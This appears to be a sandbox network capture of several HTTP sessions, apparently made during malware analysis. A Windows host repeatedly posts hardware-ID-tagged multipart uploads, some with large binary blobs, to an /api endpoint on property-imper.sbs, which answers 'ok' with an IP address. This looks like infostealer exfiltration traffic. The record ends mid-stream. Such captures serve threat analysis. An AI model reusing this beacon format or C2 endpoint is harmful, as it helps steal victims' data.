2024-11-24 13:28:37 UTC	1369	IN	Data Raw: 4c 71 4d 39 30 67 44 6c 53 58 52 36 43 74 59 45 30 57 35 55 6d 51 34 7a 6b 49 41 5a 72 76 4a 53 63 44 43 65 55 70 6b 62 52 5a 64 34 37 6e 37 76 46 64 78 6e 57 69 6f 68 77 51 71 66 41 6b 7a 61 47 30 32 34 39 31 44 36 72 46 42 45 63 39 41 52 6e 6c 59 58 6e 54 36 31 4b 4d 46 41 35 55 6c 30 65 67 72 57 42 4e 46 7a 58 70 41 55 47 4b 32 6e 44 35 66 63 50 55 51 30 6d 46 4b 62 63 44 2f 4e 43 61 41 39 77 67 6e 63 4e 78 63 6f 46 59 5a 66 30 32 39 42 6b 78 49 4f 37 4a 49 79 36 39 4d 47 56 54 4f 47 56 70 6c 4b 53 35 5a 34 6f 48 36 61 56 4a 55 33 53 79 68 56 68 6b 43 64 54 31 4b 58 44 41 36 38 70 51 36 71 39 42 4d 52 44 62 5a 2b 30 6c 51 56 67 69 6d 37 4f 74 51 35 35 56 42 66 62 51 72 34 4f 61 52 54 56 49 52 41 4b 36 32 68 43 2b 6d 73 55 45 35 7a 30 42 48 2b 55 77 43 Data Ascii: LqM90gDlSXR6CtYE0W5UmQ4zkIAZrvJScDCeUpkbRZd47n7vFdxnWiohwQqfAkzaG02491D6rFBEc9ARnlYXnT61KMFA5Ul0egrWBNFzXpAUGK2nD5fcPUQ0mFKbcD/NCaA9wgncNxcoFYZf029BkxIO7JIy69MGVTOGVplKS5Z4oH6aVJU3SyhVhkCdT1KXDA68pQ6q9BMRDbZ+0lQVgim7OtQ55VBfbQr4OaRTVIRAK62hC+msUE5z0BH+UwC

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	50263	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:39 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MOVM0ZA833ZU26SGW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19034 Host: property-imper.sbs
2024-11-24 13:28:39 UTC	15331	OUT	Data Raw: 2d 2d 4d 4f 56 4d 30 5a 41 38 33 33 5a 55 32 36 53 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 4f 56 4d 30 5a 41 38 33 33 5a 55 32 36 53 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4d 4f 56 4d 30 5a 41 38 33 33 5a 55 32 36 53 47 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --MOVM0ZA833ZU26SGWContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--MOVM0ZA833ZU26SGWContent-Disposition: form-data; name="pid"2--MOVM0ZA833ZU26SGWContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-24 13:28:39 UTC	3703	OUT	Data Raw: 54 a9 6e 5b c5 ba a9 15 d5 72 6b 35 75 df 95 c2 dc 5a 41 5a 5c 5e 28 3c 22 ed 89 24 ad 2c ef 04 0d bf 94 af 09 fc 18 68 cc f7 85 53 93 93 e2 f6 59 5b 2e 69 b4 6c 6c e9 9a 21 97 dd ca ac 54 64 55 b7 fc c2 fa 9b 77 c0 da dc fc 52 41 f2 8b 21 0d b3 5b 61 71 79 ad 70 a9 70 45 5a 5e 59 93 96 af 2e 2d 8d 38 db 8a ce bd d5 b9 91 ed 2c 2d ad 2c 5f 7a 78 ee ca 7d f7 cf 79 36 48 0f 5e 59 bc 3c 77 e5 51 e9 81 c2 a3 fc b8 23 92 e7 38 69 29 fd 94 4c c2 a9 c1 41 f1 97 fa db 4f 62 e7 43 9f 7f 76 db f2 e8 49 63 64 a3 ce 36 74 64 43 a9 9b 26 bb ab 8b 35 d9 ae f8 67 d4 96 cd 0d 7a ab 08 16 8b 61 17 6d b5 4a 3b 4f df a4 0a 55 af d1 72 b1 74 c3 a6 56 e7 76 db b0 65 ad db 46 76 60 db e7 98 65 59 df a0 66 d1 be 51 f3 d9 a8 ea 36 35 cd 7a cd 2e 9a 54 b6 0c bd 33 46 45 b6 2a d2 Data Ascii: Tn[rk5uZAZ\^(<"$,hSY[.ill!TdUwRA![aqyppEZ^Y.-8,-,_zx}y6H^Y<wQ#8i)LAObCvIcd6tdC&5gzamJ;OUrtVveFv`eYfQ65z.T3FE*
2024-11-24 13:28:40 UTC	1022	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6kd5u3f2pcqk8huc3e6409qlng; expires=Thu, 20-Mar-2025 07:15:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eESGGklV0LUV%2FLnZd%2BNg9rPCo4VaniCI9fr%2FPST7X06ujbwZ4BV%2BW9fFfuS1ZC9ZlpRZXhhFpH8UQF0dqnYU1noftw91o6BJVL7bJxxYZdWAfHYlS%2BaZR3KhT18vKHobAcEcmdA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be4e1c317298-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1852&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19997&delivery_rate=1494370&cwnd=173&unsent_bytes=0&cid=90bb6e21327e0a6b&ts=1257&x=0"
2024-11-24 13:28:40 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	50266	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:41 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SWPOI2PH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8730 Host: property-imper.sbs
2024-11-24 13:28:41 UTC	8730	OUT	Data Raw: 2d 2d 53 57 50 4f 49 32 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 53 57 50 4f 49 32 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 53 57 50 4f 49 32 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 53 57 50 4f 49 32 50 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --SWPOI2PHContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--SWPOI2PHContent-Disposition: form-data; name="pid"2--SWPOI2PHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--SWPOI2PHContent-Di
2024-11-24 13:28:42 UTC	1019	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=i244j3ekq6j35cj02qqr871fv9; expires=Thu, 20-Mar-2025 07:15:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FLd8HVUgGuoU9Txzb5oyEyCPzbQEjM%2B%2BFMjSqvEooWmV3UiLDIAa4WtfPFDXii0j52LAGdFt5OLjPdypRPFkf%2BOatj3m78TOJmUAwxF1ldPb7XSU93Aqgx4KFWTTSYhO%2FN%2BSeJY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be5daf1f423d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1577&sent=8&recv=15&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9661&delivery_rate=1775075&cwnd=178&unsent_bytes=0&cid=e11201bca2a83ecf&ts=959&x=0"
2024-11-24 13:28:42 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	50269	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:44 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=L4PPADDGLEOI User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20407 Host: property-imper.sbs
2024-11-24 13:28:44 UTC	15331	OUT	Data Raw: 2d 2d 4c 34 50 50 41 44 44 47 4c 45 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4c 34 50 50 41 44 44 47 4c 45 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 4c 34 50 50 41 44 44 47 4c 45 4f 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 4c 34 50 50 41 44 44 47 Data Ascii: --L4PPADDGLEOIContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--L4PPADDGLEOIContent-Disposition: form-data; name="pid"3--L4PPADDGLEOIContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--L4PPADDG
2024-11-24 13:28:44 UTC	5076	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lrQMn 64F6(X&7~`aO
2024-11-24 13:28:45 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mm4baudsjhltf9tfucvs5pe5ls; expires=Thu, 20-Mar-2025 07:15:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=irn%2FNcnyJZWxTZSUpueWlIPcBhcTkUfrnbgwuVyBTfNZ%2FcbOxJGX9B%2FPMBK7eGWpbB4zZbZEeMmiarmiY6gkAH9qYb1WC05kUC9oWq962%2B8n%2FqIekPm3N2GjrKsDztgJSrr7GkQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be6d894242ec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1576&sent=17&recv=26&lost=0&retrans=1&sent_bytes=4230&recv_bytes=21365&delivery_rate=150655&cwnd=199&unsent_bytes=0&cid=3fc0fb58614df1b2&ts=1126&x=0"
2024-11-24 13:28:45 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50270	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:46 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=0NT3DY84 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1189 Host: property-imper.sbs
2024-11-24 13:28:46 UTC	1189	OUT	Data Raw: 2d 2d 30 4e 54 33 44 59 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 30 4e 54 33 44 59 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 30 4e 54 33 44 59 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 30 4e 54 33 44 59 38 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 Data Ascii: --0NT3DY84Content-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--0NT3DY84Content-Disposition: form-data; name="pid"1--0NT3DY84Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--0NT3DY84Content-Di
2024-11-24 13:28:47 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:28:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gom0fp9qgmd5n8sd5kl5ltikp7; expires=Thu, 20-Mar-2025 07:15:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fVkgzdrkjTDm%2B0njqESXHllz1jIh1OpdUyEjCjhi%2FfEmbl3oDbHX36fPyKGV%2FhzbOByAtnXb17qghaFFcRXgGB52i%2FyiLDx50LxsKXTGEakpTwfgBEXWr5vFGhi7Ejoy3lUgQFU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79be7b9d824308-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1684&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2098&delivery_rate=1644144&cwnd=225&unsent_bytes=0&cid=020680ba1eb49834&ts=628&x=0"
2024-11-24 13:28:47 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:28:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.4	50273	104.21.33.116	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:28:48 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AI098WJRUKYY8NREO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568386 Host: property-imper.sbs
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 2d 2d 41 49 30 39 38 57 4a 52 55 4b 59 59 38 4e 52 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 41 49 30 39 38 57 4a 52 55 4b 59 59 38 4e 52 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 41 49 30 39 38 57 4a 52 55 4b 59 59 38 4e 52 45 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --AI098WJRUKYY8NREOContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--AI098WJRUKYY8NREOContent-Disposition: form-data; name="pid"1--AI098WJRUKYY8NREOContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: c2 fd 55 df 45 01 61 d0 60 d2 cd af eb 7b ec d3 7b a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 Data Ascii: UEa`{{J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5C
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 9b 92 fd f0 fc 90 30 18 5a b1 df d6 22 00 f2 7a f0 fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb Data Ascii: 0Z"z}w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: b3 95 24 ac f8 f3 f3 c2 ca c2 4a 75 eb ea c2 57 c6 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 Data Ascii: $JuWZmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 6a 4e e3 63 e1 b6 c4 38 2e e7 88 f5 3d f0 cc d6 73 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 Data Ascii: jNc8.=s1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:W
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: fc fc b7 48 83 b1 23 ae a1 b4 9f e0 25 78 c8 8b db 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 Data Ascii: H#%xk*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%
2024-11-24 13:28:48 UTC	15331	OUT	Data Raw: 51 e7 3d 37 d3 11 35 64 68 66 12 b0 31 7a 5b 46 eb bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 